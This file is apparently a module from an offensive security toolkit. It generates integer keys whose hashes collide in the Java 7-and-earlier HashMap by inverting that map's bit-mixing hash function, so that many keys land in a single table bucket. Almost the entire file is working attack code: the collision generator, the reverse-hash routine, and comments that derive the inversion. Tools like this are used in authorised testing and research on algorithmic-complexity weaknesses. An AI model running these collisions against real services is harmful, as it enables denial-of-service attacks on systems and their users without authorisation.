from acsploit.options import Options

options = Options()
options.add_option('n_collisions', 10, 'Number of colliding hashes to create')
options.add_option('hash_table_size', 1024, 'Size of target hash table')
options.add_option('target_hash', 848473, 'Hash value to find collisions against')

DESCRIPTION = 'Produces collisions for the Java 7 and below HashMap class.' \
              '\n\n  ' \
              'The reverse hash function for the HashMap from Java 7 and below is implemented, and so ' \
              'the provided target value will be reversed "n_collisions" times. To generate multiple ' \
              'hash preimages that create collisions, other targets that are in the same "bin" are also reversed.'

NO_INPUT = True


def run(output):
	if options['target_hash'] > 0xFFFFFFFF:
		raise ValueError("target_hash must be less than 0xFFFFFFFF")

	ret = generate_collisions(options['target_hash'], options['n_collisions'], options['hash_table_size'])
	output.output(ret)


def hash(h):
	h ^= (h >> 20) ^ (h >> 12)
	return h ^ (h >> 7) ^ (h >> 4)


def index_for(h, hash_table_size):
	return h & (hash_table_size - 1)


def generate_collisions(target_hash, n_collisions, hash_table_size):
	target_bin = index_for(target_hash, hash_table_size)
	collisions = []

	for i in range(n_collisions):
		collision = reverse_hash(i * hash_table_size + target_bin)
		if collision == target_hash:
			# if we've found the target, generate a different collision, i = nCollisions won't be hit in our loop
			collision = reverse_hash(n_collisions * hash_table_size + target_bin)
		collisions.append(collision)

	return collisions

# [a-z, aa, ab, ac, ad, ae, af] represent the 32 bits of the input int, with a being the most significant bit
# and af being the least significant. [a'-z', aa', ab', ac', ad', ae', af'] represent the 32 bits of the hashed
# input int. i.e. hashed_bits [aka a'...af'] = hash(input_bits[aka a...af]). To get the formulas in the comments,
# I put a...af in a spreadsheet and shifted them appropriately on subsequent lines based on the hashing function above. 
# Since there is an intermediary value stored as h in the hash function, some of the values depend on this intermediary hash
# value.
# INPUT:  a		b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	aa	ab	ac	ad	ae	af
#
#		  													a	b	c	d	e	f	g	h	a	b	c	d	e	f	g	h	i	j	k	l 		
#		  																							k	l	m	n	o	p	q	r	s	t
#		  								a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y		
#		  																				a	b	c	d	e	f	g	h	a	b	c	d	e
#		  																												i	j	k	l	m
#		  					a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	aa	ab
#		  																	a	b	c	d	e	f	g	h	a	b	c	d	e	f	g	h
#		  																									i	j	k	l	m	n	o	p
#         -----------------------------------------------------------------------------------------------------------------------------------
# OUTPUT: a'	b'	c'	d'	e'	f'	g'	h'	i'	j'	k'	l'	m'	n'	o'	p'	q'	r'	s'	t'	u'	v'	w'	x'	y'	z'	aa'	ab'	ac'	ad'	ae'	af'
#
# In other words, the XOR of everything in the columns (including the input) equals the output (i.e the hashed
# value. Since no bit calculation depends on anything to the right of it, we can go left to right, 
# reversing each bit at a time. In order to reverse the hash, we just xor the output bit with everything in
# the column EXCEPT the input bit (the blank spaces are 0s, we can ignore them because a ^ 0 = a). 
# Example:
# q' = q ^ e ^ j ^ m ^ a, to reverse: q = q' ^ e ^ j ^ m ^ a
##


def reverse_hash(h):
	hashed_bits = BitVector(h)
	input_bits = BitVector()

	for i in range(4):
		input_bits.set(i, hashed_bits.get(i))

	input_bits.set(4, input_bits.get(0) ^ hashed_bits.get(4))
	input_bits.set(5, input_bits.get(1) ^ hashed_bits.get(5))
	input_bits.set(6, input_bits.get(2) ^ hashed_bits.get(6))
	
	# h' = h ^ a ^ d
	input_bits.set(7, input_bits.get(0) ^ input_bits.get(3) ^ hashed_bits.get(7))
	input_bits.set(8, input_bits.get(1) ^ input_bits.get(4) ^ hashed_bits.get(8))
	input_bits.set(9, input_bits.get(2) ^ input_bits.get(5) ^ hashed_bits.get(9))
	input_bits.set(10, input_bits.get(3) ^ input_bits.get(6) ^ hashed_bits.get(10))
	input_bits.set(11, input_bits.get(4) ^ input_bits.get(7) ^ hashed_bits.get(11))
	
	# m' = m ^ a ^ f ^ i
	input_bits.set(12, input_bits.get(0) ^ input_bits.get(5) ^ input_bits.get(8) ^ hashed_bits.get(12))
	input_bits.set(13, input_bits.get(1) ^ input_bits.get(6) ^ input_bits.get(9) ^ hashed_bits.get(13))
	input_bits.set(14, input_bits.get(2) ^ input_bits.get(7) ^ input_bits.get(10) ^ hashed_bits.get(14))
	input_bits.set(15, input_bits.get(3) ^ input_bits.get(8) ^ input_bits.get(11) ^ hashed_bits.get(15))
	
	# q' = q ^ e ^ j ^ m ^ a
	input_bits.set(16, input_bits.get(4) ^ input_bits.get(9) ^ input_bits.get(12) ^ input_bits.get(0) ^ hashed_bits.get(16))
	input_bits.set(17, input_bits.get(5) ^ input_bits.get(10) ^ input_bits.get(13) ^ input_bits.get(1) ^ hashed_bits.get(17))
	input_bits.set(18, input_bits.get(6) ^ input_bits.get(11) ^ input_bits.get(14) ^ input_bits.get(2) ^ hashed_bits.get(18))

	# t' = t ^ h ^ m ^ a ^ p ^ d
	input_bits.set(19, input_bits.get(7) ^ input_bits.get(12) ^ input_bits.get(0) ^ input_bits.get(15) ^ input_bits.get(3) ^ hashed_bits.get(19))
	input_bits.set(20, input_bits.get(8) ^ input_bits.get(13) ^ input_bits.get(1) ^ input_bits.get(16) ^ input_bits.get(4) ^ hashed_bits.get(20))
	input_bits.set(21, input_bits.get(9) ^ input_bits.get(14) ^ input_bits.get(2) ^ input_bits.get(17) ^ input_bits.get(5) ^ hashed_bits.get(21))
	
	# w' = w ^ c ^ k ^ p ^ d ^ s ^ g
	input_bits.set(22, input_bits.get(2) ^ input_bits.get(10) ^ input_bits.get(15) ^ input_bits.get(3) ^ input_bits.get(18) ^ input_bits.get(6) ^ hashed_bits.get(22))
	input_bits.set(23, input_bits.get(3) ^ input_bits.get(11) ^ input_bits.get(16) ^ input_bits.get(4) ^ input_bits.get(19) ^ input_bits.get(7) ^ hashed_bits.get(23))
	
	# y' = y ^ e ^ m ^ r ^ f ^ u ^ a ^ i
	input_bits.set(24, input_bits.get(4) ^ input_bits.get(12) ^ input_bits.get(17) ^ input_bits.get(5) ^ input_bits.get(20) ^ input_bits.get(0) ^ input_bits.get(8) ^ hashed_bits.get(24))
	input_bits.set(25, input_bits.get(5) ^ input_bits.get(13) ^ input_bits.get(18) ^ input_bits.get(6) ^ input_bits.get(21) ^ input_bits.get(1) ^ input_bits.get(9) ^ hashed_bits.get(25))
	
	# aa' = aa ^ g ^ o ^ t ^ h ^ w ^ c ^ k
	input_bits.set(26, input_bits.get(6) ^ input_bits.get(14) ^ input_bits.get(19) ^ input_bits.get(7) ^ input_bits.get(22) ^ input_bits.get(2) ^ input_bits.get(10) ^ hashed_bits.get(26))

	# ab' = ab ^ h ^ p ^ u ^ a ^ i ^ x ^ d ^ l
	input_bits.set(27, input_bits.get(7) ^ input_bits.get(15) ^ input_bits.get(20) ^ input_bits.get(0) ^ input_bits.get(8) ^ input_bits.get(23) ^ input_bits.get(3) ^ input_bits.get(11) ^ hashed_bits.get(27))
	input_bits.set(28, input_bits.get(8) ^ input_bits.get(16) ^ input_bits.get(21) ^ input_bits.get(1) ^ input_bits.get(9) ^ input_bits.get(24) ^ input_bits.get(4) ^ input_bits.get(12) ^ hashed_bits.get(28))
	
	# ad' = ad ^ j ^ r ^ w ^ c ^ k ^ z ^ f ^ n
	input_bits.set(29, input_bits.get(9) ^ input_bits.get(17) ^ input_bits.get(22) ^ input_bits.get(2) ^ input_bits.get(10) ^ input_bits.get(25) ^ input_bits.get(5) ^ input_bits.get(13) ^ hashed_bits.get(29))
	input_bits.set(30, input_bits.get(10) ^ input_bits.get(18) ^ input_bits.get(23) ^ input_bits.get(3) ^ input_bits.get(11) ^ input_bits.get(26) ^ input_bits.get(6) ^ input_bits.get(14) ^ hashed_bits.get(30))
	input_bits.set(31, input_bits.get(11) ^ input_bits.get(19) ^ input_bits.get(24) ^ input_bits.get(4) ^ input_bits.get(12) ^ input_bits.get(27) ^ input_bits.get(7) ^ input_bits.get(15) ^ hashed_bits.get(31))

	return input_bits.to_int()


class BitVector:
	def __init__(self, integer=0):
		self.value = integer

	def set(self, index, bit):
		if bit == 1:
			self.value |= 1 << (31 - index)
		elif bit == 0:
			self.value &= ~(1 << (31 - index))
		else:
			raise ValueError

	def get(self, index):
		return (self.value >> (31 - index)) & 1

	def to_int(self):
		return self.value

	def __repr__(self):
		return format(self.value, 'b')
